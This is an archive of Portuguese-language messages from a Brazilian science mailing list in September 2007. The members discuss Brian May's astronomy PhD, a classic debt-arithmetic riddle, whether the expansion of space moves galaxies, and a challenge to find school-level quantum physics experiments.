FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/09/2007 19:59

Informo que Brian May já pode ser considerado "quase PhD". Ele passou na
arguição oral e deve agora fazer algumas correções no trabalho escrito para
receber o título, o que deve ocorrer em maio de 2008. Mais informações em
http://news.bbc.co.uk/1/hi/entertainment/6961171.stm

God save the Queen!

[ ]s

Alvaro Augusto de Almeida
http://www.alvaroaugusto.com.br
alvaro@lunabay.com.br


----- Original Message -----
From: "J.Victor" <j.victor.neto@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Saturday, August 04, 2007 6:53 AM
Subject: [ciencialist] Músico Astrônomo



Olá, todos,

Nunca é tarde demais. Eis o que mostra Brian May.
Passou parte de sua junventude "dando duro" como guitarrista.
A outra parte, a que lhe resta, dará "duro" trabalhando em ciência.
No caso a astronomia. Só quero saber dos resultados a que chegará a banca
examinadora.
É bastante curiorioso: nunca haver se afastado da astronomia e seus suportes
teóricos. Curioso e inusitado.
Não é fácil afastar-se por tanto tempo e manter-se "azeitado" no mister.l
O cara deve o "tampa de crush".

Sds,
Victor.



03/08/2007 - 14h41
Guitarrista do Queen entrega tese de PhD após 36 anos


Stan Honda/AFP


Guitarrista do Queen, Brian May durante show no Rock and Roll Hall of
Fame, em Nova York, EUA (2001)



O guitarrista Brian May entregou sua tese de PhD em astronomia nesta
sexta-feira, 36 anos depois de abandonar os estudos para se juntar à banda
Queen.

O músico fez trabalhos de observação astronômica recentemente em Tenerife,
nas Ilhas Canárias (Espanha), onde estudou a formação de "nuvens de poeira
zodiacal".

O assunto forma a base da tese de 48 mil palavras para o Imperial College de
Londres, onde May - de 60 anos - estudava antes de se juntar ao Queen.

"Foi o maior período sábatico já registrado. Na época, foi uma decisão
difícil deixar meus estudos pela música", disse o guitarrista.

"Estou muito orgulhoso por estar aqui hoje", acrescentou. "Astronomia sempre
foi meu interesse." May entregou a tese, chamada "Velocidades Radiais na
Nuvem de Poeira Zodiacal", para o chefe de astrofísica do Imperial College,
o professor Paul Nandra.

O guitarrista deve discutir a tese com um painel de examinadores no dia 23
de agosto, de acordo com seu porta-voz. Os resultados deverão ser conhecidos
logo depois desta data.

"Se eu fracassar, será grande", disse May. "Será um fracasso muito público
com toda esta divulgação." O guitarrista também prepara um concerto para
marcar a inauguração de um telescópio em um observatório astronômico em
Tenerife, onde completou os estudos em julho.

"Não tenho dúvidas de que Brian May teria tido uma brilhante carreira em
ciências, se tivesse completado seu PhD em 1971", disse o astrofísico Garik
Israelian, que trabalhou com May em Tenerife.

"No entanto, como fã do Queen, fico feliz que ele tenha deixando a ciência
temporariamente", acrescentou.

May fez suas primeiras observações astronômicas para sua tese no
Observatório del Teide, em Tenerife, em 1971, antes do sucesso com o Queen.

Recentemente, o guitarrista publicou um livro de astronomia em parceria com
o apresentador de um programa da televisão britânica Patrick Moore.


[As partes desta mensagem que não continham texto foram removidas]



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SUBJECT: ENC: [ciencialist] Re: Rota de colisão
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/09/2007 22:24

Afastamento galáxico NÃO é um bom exemplo. Essas velocidades *podem*
ser maiores do q a da luz. Isso porq. não são as galáxias q se movem
no espaço, mas sim o espaço entre elas q se expande.

[]s,

Roberto Takata



SUBJECT: RE: [ciencialist] Legado Lunar
FROM: murilo filo <avalanchedrive@hotmail.com>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/09/2007 23:41


Faltou o pedaço em que digo ser mais barato e mais fácil sujar o só o polo sul...

Subject: RE: [ciencialist] Legado Lunar> > > vamos lá, moçada!> vamos jogar lixo na lua, também!> [As partes desta mensagem que não continham texto foram removidas]> > >

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] Probleminha
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/09/2007 06:41

Caro fmarkus,



Ok.

Esta “quase” casca de banana esclarece como um simples enunciado pode
confundir, levando a um raciocínio inadequado ao problema.

Uns, como você, enxergam “a coisa bem simples”, de bate-pronto; outros
demoram mais, ou nem chegam lá.

Na física, principalmente, há questões cujas soluções são vistas de maneiras
diferentes, a depender de quem se debruça sobre elas, como no caso, entre
tantos outros, do moto-contínuo. Suspeito que as essencialidades são
brecadas por processos da mente, que não conseguem enxergá-las, acho que
devido ao tipo formação do freguês, ou coisas relacionadas. Acho que é por
isso que há tantas teorias divergentes, mesmo em áreas onde matemática e
experimentalmente não restem as mínimas dúvidas.

Contudo, e não mais que contudo, já pensou se todos enxergassem o mesmo,
tivessem as mesmas percepções, fossem unânimes nas questões, seja lá o ramo
que seja?

Este fórum nem existiria. ..

É isso. Mas, vez ou outra, é bom azeitar as engrenagens do juízo com
problemas assim e mais complicados, que existem aos montes.

Sds,

Victor.





De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de fmarkus@pop.com.br
Enviada em: sábado, 15 de setembro de 2007 17:56
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Probleminha





Caro Victor,

A coisa é bem simples.

Inicialmente você devia R$ 450,00.
No final você deve R$ 480,00.

Os R$ 30,00 que você tem contigo é a quantia que
aumentou na sua dívida.

INÍCIO (Dívida = R$ 450,00 e Dinheiro = R$ 0,00).
FIM (Dívida = R$ 480,00 e Dinheiro = R$ 30,00).

Entendeu?

Sds,

Fernando Markus

> Não sei
se já conhecem. É interessante. Quem dirá: é
simples, meu caro
> Watson!
>
>
>
> Sds,.
>
> Victor.
>
>
>
> AOS MATEMÁTICOS DE PLANTÃO.......ENVIEM A
SOLUÇÃO.....
>
>
> Teste de
matemática
>
> Para pensar um pouco
>

> IMAGINE QUE EU TENHA UMA DIVIDA DE R$ 450,00 NAS CASAS BAHIA,
PORÉM
> NÃOTENHO
> DINHEIRO PARA
QUITÁ-LA. O QUE EU FAÇO ENTÃO PROCURO DOIS AMIGOS E
PEÇO
> EMPRESTADOS R$ 250,00 A CADA UM E FICO COM
R$500,00.
>
> VOU ENTÃO AS CASAS BAHIA E QUITO A
MINHA DIVIDA DE R$450,00 E ME SOBRAM R$
> 50,00.
>
> VOU ATÉ A MINHA CASA E DEIXO LÁ R$ 30,00. E LEVO R$
20,00 COMIGO.
>
> DIRIJO-ME AOS DOIS AMIGOS E DEVOLVO R$
10,00 A CADA, E ASSIM FICO DEVENDO
> R$
> 240,00 A CADA
UM DELES. 240,00 + 240,00 É IGUAL A 480,00, MAS EM CASA
>
TENHO
> OS R$ 30,00, QUE SOMADOS PERFAZEM R$ 510,00!!!
>

> ENTÃO EU GANHEI R$ 10,00 NESSA BRINCADEIRA?
>

> ALGUÉM EXPLICA ??
>
>
>
>
>
> [As partes desta mensagem que não
continham texto foram removidas]
>
>

[As partes desta mensagem que não continham texto foram removidas]





[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: RES: [ciencialist] Músico Astrônomo
FROM: "J.Victor" <j.victor.neto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/09/2007 07:05

Só espero, e torço por isso, que o Brian torne-se uma celebridade não pelo
inusitado de ser um roqueiro que virou cientista, mas pelo fato do cientista
que foi roqueiro. O que se evidenciará pelos seus trabalhos na área, que se
forem do tamanho que parecem, estaremos bem servidos.

Sinceramente, vou estar esperando com muita atenção e interesse qualquer
trabalho seu que seja publicado, na área. Espero que seja “lível”.

Ele passou na argüição oral, que é dura e difícil, e certamente não o foi
pela fama que já tem.

Em passant, a respeito de “God save the Queen!”:

É incrível como, ainda hoje, sociedades como a inglesa, ou a japonesa, ainda
prestam um culto, como muita devoção, a um de seus iguais, eleitos como
dirigente máximo, com os títulos de rei, rainha, imperador.

Ah, e não sei a razão pela qual estou dizendo isso! Debaixo de nosso nariz,
uma grande maioria também faz o mesmo, elegendo alguns dirigentes como
salvadores da pátria, o cão chupando manga, a luz no fim do túnel, com
direito a retratos tipo santinho e tudo o mais, como aconteceu com:
Brizola(que era um homem sério, em minha opinião, embora meio equivocado),
Collor de Melo(futuro presidente desta sofrida república), e o atual Lulla(
que só não será um eterno mandante por causa de interêsses políticos desses
do Congresso; se depender do povão, créu, estará lá), para citar apenas os
kings e queens nossos de cada dia.

Sds,

Victor.



De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de Alvaro Augusto (L)
Enviada em: sábado, 15 de setembro de 2007 20:00
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Músico Astrônomo



Informo que Brian May já pode ser considerado "quase PhD". Ele passou na
arguição oral e deve agora fazer algumas correções no trabalho escrito para
receber o título, o que deve ocorrer em maio de 2008. Mais informações em
http://news.bbc.co.uk/1/hi/entertainment/6961171.stm

God save the Queen!

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Alvaro Augusto de Almeida
http://www.alvaroaugusto.com.br
alvaro@lunabay.com.br <mailto:alvaro%40lunabay.com.br>

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To: <ciencialist@yahoogrupos.com.br
<mailto:ciencialist%40yahoogrupos.com.br> >
Sent: Saturday, August 04, 2007 6:53 AM
Subject: [ciencialist] Músico Astrônomo

Olá, todos,

Nunca é tarde demais. Eis o que mostra Brian May.
Passou parte de sua junventude "dando duro" como guitarrista.
A outra parte, a que lhe resta, dará "duro" trabalhando em ciência.
No caso a astronomia. Só quero saber dos resultados a que chegará a banca
examinadora.
É bastante curiorioso: nunca haver se afastado da astronomia e seus suportes

teóricos. Curioso e inusitado.
Não é fácil afastar-se por tanto tempo e manter-se "azeitado" no mister.l
O cara deve o "tampa de crush".

Sds,
Victor.

03/08/2007 - 14h41
Guitarrista do Queen entrega tese de PhD após 36 anos

Stan Honda/AFP

Guitarrista do Queen, Brian May durante show no Rock and Roll Hall of
Fame, em Nova York, EUA (2001)

O guitarrista Brian May entregou sua tese de PhD em astronomia nesta
sexta-feira, 36 anos depois de abandonar os estudos para se juntar à banda
Queen.

O músico fez trabalhos de observação astronômica recentemente em Tenerife,
nas Ilhas Canárias (Espanha), onde estudou a formação de "nuvens de poeira
zodiacal".

O assunto forma a base da tese de 48 mil palavras para o Imperial College de

Londres, onde May - de 60 anos - estudava antes de se juntar ao Queen.

"Foi o maior período sábatico já registrado. Na época, foi uma decisão
difícil deixar meus estudos pela música", disse o guitarrista.

"Estou muito orgulhoso por estar aqui hoje", acrescentou. "Astronomia sempre

foi meu interesse." May entregou a tese, chamada "Velocidades Radiais na
Nuvem de Poeira Zodiacal", para o chefe de astrofísica do Imperial College,
o professor Paul Nandra.

O guitarrista deve discutir a tese com um painel de examinadores no dia 23
de agosto, de acordo com seu porta-voz. Os resultados deverão ser conhecidos

logo depois desta data.

"Se eu fracassar, será grande", disse May. "Será um fracasso muito público
com toda esta divulgação." O guitarrista também prepara um concerto para
marcar a inauguração de um telescópio em um observatório astronômico em
Tenerife, onde completou os estudos em julho.

"Não tenho dúvidas de que Brian May teria tido uma brilhante carreira em
ciências, se tivesse completado seu PhD em 1971", disse o astrofísico Garik
Israelian, que trabalhou com May em Tenerife.

"No entanto, como fã do Queen, fico feliz que ele tenha deixando a ciência
temporariamente", acrescentou.

May fez suas primeiras observações astronômicas para sua tese no
Observatório del Teide, em Tenerife, em 1971, antes do sucesso com o Queen.

Recentemente, o guitarrista publicou um livro de astronomia em parceria com
o apresentador de um programa da televisão britânica Patrick Moore.

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SUBJECT: Re: [ciencialist] Probleminha
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/09/2007 12:07

Olá, Victor!
Esse é o típico enunciado que induz o raciocínio do leitor ao erro quando
enfoca, de forma aparentemente lógica, um determinado dado da questão.
No fundo se resume a somar ou diminuir em relação a que.
Até hoje estão pendentes soluções adequadas para pequenos problemas
como esse, mesmo aqui no ciencialist.
[]s
José Renato
...............................................................

From: "J.Victor" <j.victor.neto@uol.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Sunday, September 16, 2007 6:41 AM
Subject: RES: [ciencialist] Probleminha


Caro fmarkus,



Ok.

Esta "quase" casca de banana esclarece como um simples enunciado pode
confundir, levando a um raciocínio inadequado ao problema.

Uns, como você, enxergam "a coisa bem simples", de bate-pronto; outros
demoram mais, ou nem chegam lá.

Na física, principalmente, há questões cujas soluções são vistas de maneiras
diferentes, a depender de quem se debruça sobre elas, como no caso, entre
tantos outros, do moto-contínuo. Suspeito que as essencialidades são
brecadas por processos da mente, que não conseguem enxergá-las, acho que
devido ao tipo formação do freguês, ou coisas relacionadas. Acho que é por
isso que há tantas teorias divergentes, mesmo em áreas onde matemática e
experimentalmente não restem as mínimas dúvidas.

Contudo, e não mais que contudo, já pensou se todos enxergassem o mesmo,
tivessem as mesmas percepções, fossem unânimes nas questões, seja lá o ramo
que seja?

Este fórum nem existiria. ..

É isso. Mas, vez ou outra, é bom azeitar as engrenagens do juízo com
problemas assim e mais complicados, que existem aos montes.

Sds,

Victor.





De: ciencialist@yahoogrupos.com.br [mailto:ciencialist@yahoogrupos.com.br]
Em nome de fmarkus@pop.com.br
Enviada em: sábado, 15 de setembro de 2007 17:56
Para: ciencialist@yahoogrupos.com.br
Assunto: Re: [ciencialist] Probleminha





Caro Victor,

A coisa é bem simples.

Inicialmente você devia R$ 450,00.
No final você deve R$ 480,00.

Os R$ 30,00 que você tem contigo é a quantia que
aumentou na sua dívida.

INÍCIO (Dívida = R$ 450,00 e Dinheiro = R$ 0,00).
FIM (Dívida = R$ 480,00 e Dinheiro = R$ 30,00).

Entendeu?

Sds,

Fernando Markus

> Não sei
se já conhecem. É interessante. Quem dirá: é
simples, meu caro
> Watson!
>
>
>
> Sds,.
>
> Victor.
>
>
>
> AOS MATEMÁTICOS DE PLANTÃO.......ENVIEM A
SOLUÇÃO.....
>
>
> Teste de
matemática
>
> Para pensar um pouco
>

> IMAGINE QUE EU TENHA UMA DIVIDA DE R$ 450,00 NAS CASAS BAHIA,
PORÉM
> NÃOTENHO
> DINHEIRO PARA
QUITÁ-LA. O QUE EU FAÇO ENTÃO PROCURO DOIS AMIGOS E
PEÇO
> EMPRESTADOS R$ 250,00 A CADA UM E FICO COM
R$500,00.
>
> VOU ENTÃO AS CASAS BAHIA E QUITO A
MINHA DIVIDA DE R$450,00 E ME SOBRAM R$
> 50,00.
>
> VOU ATÉ A MINHA CASA E DEIXO LÁ R$ 30,00. E LEVO R$
20,00 COMIGO.
>
> DIRIJO-ME AOS DOIS AMIGOS E DEVOLVO R$
10,00 A CADA, E ASSIM FICO DEVENDO
> R$
> 240,00 A CADA
UM DELES. 240,00 + 240,00 É IGUAL A 480,00, MAS EM CASA
>
TENHO
> OS R$ 30,00, QUE SOMADOS PERFAZEM R$ 510,00!!!
>

> ENTÃO EU GANHEI R$ 10,00 NESSA BRINCADEIRA?
>

> ALGUÉM EXPLICA ??



SUBJECT: Re: [ciencialist] En: PERGUNTA!! > ligação metálica no corpo humano
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/09/2007 18:32

Algemas? Quando o elemento é preso, faz-se essa ligação metálica entre 'partes' do próprio corpos (pulsos, por exemplo) ou entre uma parte e outro corpo sólido (barras, por exemplo).
[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "Prof. Emiliano Chemello" <chemelloe@yahoo.com.br>
Para: "ciencialist" <ciencialist@yahoogrupos.com.br>
Enviada em: sábado, 15 de setembro de 2007 14:35
Assunto: [ciencialist] En: PERGUNTA!! > ligação metálica no corpo humano


Alguém ajuda a consulente?

De: "MariMila Liston" <marimilagemeas@hotmail.com>
Para: chemelloe@yahoo.com.br
Assunto: PERGUNTA!!
Data: Sat, 15 Sep 2007 15:01:37 +0000

Bom dia Professor...
sou de Lages SC.. encontrei seu site e ali vi que poderia te fazer
pergunta...
gostaria de saber um exemplo de ligação metálica que ocorre no corpo humano
(qualquer elemento)

Fico grata se puder me responder!

Obrigada!

Flickr agora em português. Você clica, todo mundo vê. Saiba mais.

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SUBJECT: Ball of Being
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 16/09/2007 18:43

Aumente o som:

http://www.ballofbeing.com

Um clipe online em Flash de um dançarino sem corpo, ou melhor, quase
sem corpo -- ele é feito de esferas. Apresentando átomos, planetas,
bolas, globos, espuma e moléculas. Não se sabe se estamos entrando num
nanomundo microscópico, num oceano de esferas ou num imensurável
universo muito remoto.

Concepção e direção: Koert van Mensvoort; música: Artefact
(apresentando Ryan Caniaux); coreografia: Nancy Mauro-Flude; animação
adicional: Arnoud v/d Heuvel; captura de movimento: Willem Hein
Triemstra; conversão da captura de movimento: Dennis Lodewijks;
agradecimentos a: NPS, Ingrid Walschots, Liesbeth van der Kar, Aart
Helder. Patrocinado por: fundo Thuiskopie e Impakt Online.

Dica do amigo Marco Paganini.

Aliás, atenção para a página pessoal do diretor: http://www.koert.com/





Ótimo dia pra você.

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SUBJECT: Re: [ciencialist] Re: Rota de colisão
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/09/2007 18:45

A expansão do espaço não implica em 'arrastamento' das galáxias afastando-as, tb, umas das outras? Ora, isso implica em deslocamento de matéria!
Suponha dois caixotes sobre uma manta de elástico; ora, se eu puxar as extremidades do elástico(espaço) para expandí-lo, devo tb arrastar os caixotes! Como se pode 'abrir espaço entre duas coisas' sem afastar essas coisas? Encurvando o espaço e medindo as distâncias ao longo da curvatura?

[]'
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Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
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-----Mensagem Original-----
De: "rmtakata" <roberto.takata@bol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: sábado, 15 de setembro de 2007 22:24
Assunto: ENC: [ciencialist] Re: Rota de colisão


Afastamento galáxico NÃO é um bom exemplo. Essas velocidades *podem*
ser maiores do q a da luz. Isso porq. não são as galáxias q se movem
no espaço, mas sim o espaço entre elas q se expande.

[]s,

Roberto Takata



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SUBJECT: Enquanto isso, na Amazônia...
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO:
DATE: 16/09/2007 19:32

Apesar de longo, vale conhecer o vídeo:
http://www.youtube.com/watch?v=q9esNX7bzHY

Se acha que vale a pena encaminhar, faça-o.
Abraço,
Esteban.


SUBJECT: Filosofia em quadrinhos!
FROM: "Esteban Moreno" <estebanlmoreno@gmail.com>
TO: "Vivens Scientia" <VivensScientia@yahoogroups.com>, ciencialist@yahoogrupos.com.br, "Leonardo Soares Quirino da Silva" <leosqsilva@gmail.com>, COELHO <COELHO@cetem.gov.br>
DATE: 16/09/2007 20:39

Olá!

pra quem gosta de Filosofia, indico este site, com histórias em
quadrinhos contando um pouco sobre alguns pensadores.
Está tudo em inglês, cliquem nos links abaixo!

René Descartes - http://www.eviltwincomics.com/action/ap5.php?p=1
Freud x Jung - http://www.eviltwincomics.com/action/ap3.php
Pré-Socráticos - http://www.eviltwincomics.com/action/ap7.php

Boa leitura!


SUBJECT: Re: [ciencialist] Re: Rota de colisão
FROM: "Alberto Mesquita Filho" <albmesq@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 16/09/2007 21:18

----- Original Message -----
From: "Luiz Ferraz Netto"
Sent: Sunday, September 16, 2007 6:45 PM
Subject: Re: [ciencialist] Re: Rota de colisão

> A expansão do espaço não implica em 'arrastamento' das galáxias
> afastando-as, tb, umas das outras? Ora, isso implica em deslocamento
> de matéria! Suponha dois caixotes sobre uma manta de elástico; ora,
> se eu puxar as extremidades do elástico(espaço) para expandí-lo,
> devo tb arrastar os caixotes! Como se pode 'abrir espaço entre duas
> coisas' sem afastar essas coisas? Encurvando o espaço e medindo as
> distâncias ao longo da curvatura?

Olá Léo

Permita-me dizer que isso faz sentido em termos de física clássica,
mas não em termos de física moderna, aquela que foi projetada para
funcionar em I^n dimensões. Explico melhor:

Dimensão 1: Inventa-se um objeto
Dimensão 2: Inventa-se um fenômeno
Dimensão 3: Inventa-se uma explicação
Dimensão 4 e seguintes (até n): Inventam-se exceções a
compatibilizarem as dimensões anteriores bem como as três com a
realidade física.

Exemplo:

1) Lorentz inventou um elétron totalmente semelhante a uma carga
elétrica da experiência de Coulomb. Em outras palavras, um elétron
seria idêntico ao elemento de volume utilizado nas integrações da
eletrodinâmica dos fluidos elétricos de Maxwell. [Seria o mesmo que
considerar a molécula de água como algo idêntico ao elemento de volume
utilizado nas integrações da mecânica dos fluidos].

2) Planck percebeu que possíveis oscilações desse elétron inventado
deveriam assumir configurações discretas. Com base nesta observação,
inventou não só a oscilação (a apoiar-se no "modelo em pudim de passa"
do átomo de Thompsom) dos elétrons, como também a quantização desta
oscilação, esta última, de ora em diante, a ser pensada como algo
inerente ao mundo físico, desde que o invento 1 (elétron de Lorentz)
pudesse vir a ser aceito como realidade evidente. É bem verdade que
Planck passou o resto de sua vida tentando justificar esse fato, sem
se convencer sobre a realidade física de seu invento, mas isso chega a
ser muito pouco comentado pelos seus fanáticos "seguidores".

3) Einstein (efeito fotoelétrico) e Bohr (teoria sobre os átomos e
moléculas) inventaram explicações sobrenaturais aos efeitos
constatados por Planck e quero crer que decorre daí o grande cisma
entre física clássica (de Newton até Planck) e ficção (ou física)
moderna (o que veio a seguir).

4) Os seguidores de Einstein e Bohr (e até mesmo os dois,
principalmente o segundo) inventaram um sem número de argumentos
(hipóteses ad hoc) a justificarem as condições em que as coisas não
dão certo e/ou que dão certo sem que se saiba onde, quando, como e nem
porquê. Assim nasceu a física quântica.

Com a relatividade moderna as coisas não são muito diferentes, ainda
que as dimensões sejam outras (objeto, fenômeno, explicação etc). A
expansão do espaço, por exemplo, pode ser encarada, sob certos
aspectos, como uma invenção do tipo I^2.

PS.: Sei que você deve estar bem ciente disso tudo, mas já que você
resolveu "tirar o sarro" dos fanáticos seguidores de Einstein e Bohr,
resolvi colaborar contigo, a minha maneira.

[ ]´s
Alberto
http://ecientificocultural.com/indice.htm
Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.

[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "rmtakata"
Enviada em: sábado, 15 de setembro de 2007 22:24
Assunto: ENC: [ciencialist] Re: Rota de colisão

Afastamento galáxico NÃO é um bom exemplo. Essas velocidades *podem*
ser maiores do q a da luz. Isso porq. não são as galáxias q se movem
no espaço, mas sim o espaço entre elas q se expande.

[]s,

Roberto Takata



SUBJECT: Re: Rota de colisão
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 16/09/2007 22:16

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> A expansão do espaço não implica em 'arrastamento' das galáxias
> afastando-as, tb, umas das outras? Ora, isso implica em deslocamento
> de matéria!

Mas não *através* do espaço.

[]s,

Roberto Takata



SUBJECT: Re: [ciencialist] Músico Astrônomo
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/09/2007 07:43

Sei não ... se não morrer em tempo hábil ainda acho que o futuro rei será o Maluf! Eu, particularmente, já estou me prevenindo!
[]'
Léo
==========
-----Mensagem Original-----
De: "J.Victor" <j.victor.neto@uol.com.br>


[...] É incrível como, ainda hoje, sociedades como a inglesa, ou a japonesa, ainda
prestam um culto, como muita devoção, a um de seus iguais, eleitos como
dirigente máximo, com os títulos de rei, rainha, imperador.

Ah, e não sei a razão pela qual estou dizendo isso! Debaixo de nosso nariz,
uma grande maioria também faz o mesmo, elegendo alguns dirigentes como
salvadores da pátria, o cão chupando manga, a luz no fim do túnel, com
direito a retratos tipo santinho e tudo o mais, como aconteceu com:
Brizola(que era um homem sério, em minha opinião, embora meio equivocado),
Collor de Melo(futuro presidente desta sofrida república), e o atual Lulla(
que só não será um eterno mandante por causa de interêsses políticos desses
do Congresso; se depender do povão, créu, estará lá), para citar apenas os
kings e queens nossos de cada dia.

Sds,

Victor.




SUBJECT: Re: [ciencialist] Re: Rota de colisão
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 17/09/2007 08:32

É ... vc pegou bem o espírito da coisa!
E, lembra daquele desafio aos quânticos?

"Preciso de três experimentos didáticos sobre física quântica para colocar no Imperdível; devem usar equipamento disponível nos laboratórios das escolas de ensino médio do Brasil (particulares ou não) ou em 95% das faculdades que mantêm o curso de física."

Ainda não recebi esses três experimentos! Dei até uma sugestão: pode usar de garrafas PET, canudos de refresco, latas de refrigerante, ímã de alto falante, fios de cobre tirados de velhos transformadores, capas plásticas de CD, o próprio CD, e madeira MDF ou isopor.

aquele abraço,


===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Alberto Mesquita Filho" <albmesq@uol.com.br>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: domingo, 16 de setembro de 2007 21:18
Assunto: Re: [ciencialist] Re: Rota de colisão


----- Original Message -----
From: "Luiz Ferraz Netto"
Sent: Sunday, September 16, 2007 6:45 PM
Subject: Re: [ciencialist] Re: Rota de colisão

> A expansão do espaço não implica em 'arrastamento' das galáxias
> afastando-as, tb, umas das outras? Ora, isso implica em deslocamento
> de matéria! Suponha dois caixotes sobre uma manta de elástico; ora,
> se eu puxar as extremidades do elástico(espaço) para expandí-lo,
> devo tb arrastar os caixotes! Como se pode 'abrir espaço entre duas
> coisas' sem afastar essas coisas? Encurvando o espaço e medindo as
> distâncias ao longo da curvatura?

Olá Léo

Permita-me dizer que isso faz sentido em termos de física clássica,
mas não em termos de física moderna, aquela que foi projetada para
funcionar em I^n dimensões. Explico melhor:

Dimensão 1: Inventa-se um objeto
Dimensão 2: Inventa-se um fenômeno
Dimensão 3: Inventa-se uma explicação
Dimensão 4 e seguintes (até n): Inventam-se exceções a
compatibilizarem as dimensões anteriores bem como as três com a
realidade física.

Exemplo:

1) Lorentz inventou um elétron totalmente semelhante a uma carga
elétrica da experiência de Coulomb. Em outras palavras, um elétron
seria idêntico ao elemento de volume utilizado nas integrações da
eletrodinâmica dos fluidos elétricos de Maxwell. [Seria o mesmo que
considerar a molécula de água como algo idêntico ao elemento de volume
utilizado nas integrações da mecânica dos fluidos].

2) Planck percebeu que possíveis oscilações desse elétron inventado
deveriam assumir configurações discretas. Com base nesta observação,
inventou não só a oscilação (a apoiar-se no "modelo em pudim de passa"
do átomo de Thompsom) dos elétrons, como também a quantização desta
oscilação, esta última, de ora em diante, a ser pensada como algo
inerente ao mundo físico, desde que o invento 1 (elétron de Lorentz)
pudesse vir a ser aceito como realidade evidente. É bem verdade que
Planck passou o resto de sua vida tentando justificar esse fato, sem
se convencer sobre a realidade física de seu invento, mas isso chega a
ser muito pouco comentado pelos seus fanáticos "seguidores".

3) Einstein (efeito fotoelétrico) e Bohr (teoria sobre os átomos e
moléculas) inventaram explicações sobrenaturais aos efeitos
constatados por Planck e quero crer que decorre daí o grande cisma
entre física clássica (de Newton até Planck) e ficção (ou física)
moderna (o que veio a seguir).

4) Os seguidores de Einstein e Bohr (e até mesmo os dois,
principalmente o segundo) inventaram um sem número de argumentos
(hipóteses ad hoc) a justificarem as condições em que as coisas não
dão certo e/ou que dão certo sem que se saiba onde, quando, como e nem
porquê. Assim nasceu a física quântica.

Com a relatividade moderna as coisas não são muito diferentes, ainda
que as dimensões sejam outras (objeto, fenômeno, explicação etc). A
expansão do espaço, por exemplo, pode ser encarada, sob certos
aspectos, como uma invenção do tipo I^2.

PS.: Sei que você deve estar bem ciente disso tudo, mas já que você
resolveu "tirar o sarro" dos fanáticos seguidores de Einstein e Bohr,
resolvi colaborar contigo, a minha maneira.

[ ]´s
Alberto
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Mas indiferentemente a tudo isso, o elétron não é uma carga elétrica
coulombiana e a Terra se move. E a história se repetirá.

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-----Mensagem Original-----
De: "rmtakata"
Enviada em: sábado, 15 de setembro de 2007 22:24
Assunto: ENC: [ciencialist] Re: Rota de colisão

Afastamento galáxico NÃO é um bom exemplo. Essas velocidades *podem*
ser maiores do q a da luz. Isso porq. não são as galáxias q se movem
no espaço, mas sim o espaço entre elas q se expande.

[]s,

Roberto Takata



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SUBJECT: Re: Rota de colisão
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/09/2007 09:56

--- Em ciencialist@yahoogrupos.com.br, "Luiz Ferraz Netto"
> "Preciso de três experimentos didáticos sobre física quântica para
> colocar no Imperdível;

Um é aquele da Sciam com o padrão de interferência de um feixe de
laser - o do apagador quântico.

[]s,

Roberto Takata



SUBJECT: Re: I Jornada em Defesa do Pensamento Científico
FROM: "rmtakata" <roberto.takata@bol.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/09/2007 10:46

Lembrete: o evento é amanhã (18/09/2007).

www.haaan.com/reflexoes

[]s,

Roberto Takata



SUBJECT: Re: Probleminha
FROM: César A. K. Grossmann <cesarakg@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 17/09/2007 11:48

--- Em ciencialist@yahoogrupos.com.br, "J.Victor" <j.victor.neto@...>
escreveu
>
> IMAGINE QUE EU TENHA UMA DIVIDA DE R$ 450,00 NAS CASAS BAHIA, PORÉM
NÃO TENHO
> DINHEIRO PARA QUITÁ-LA. O QUE EU FAÇO ENTÃO PROCURO DOIS AMIGOS E PEÇO
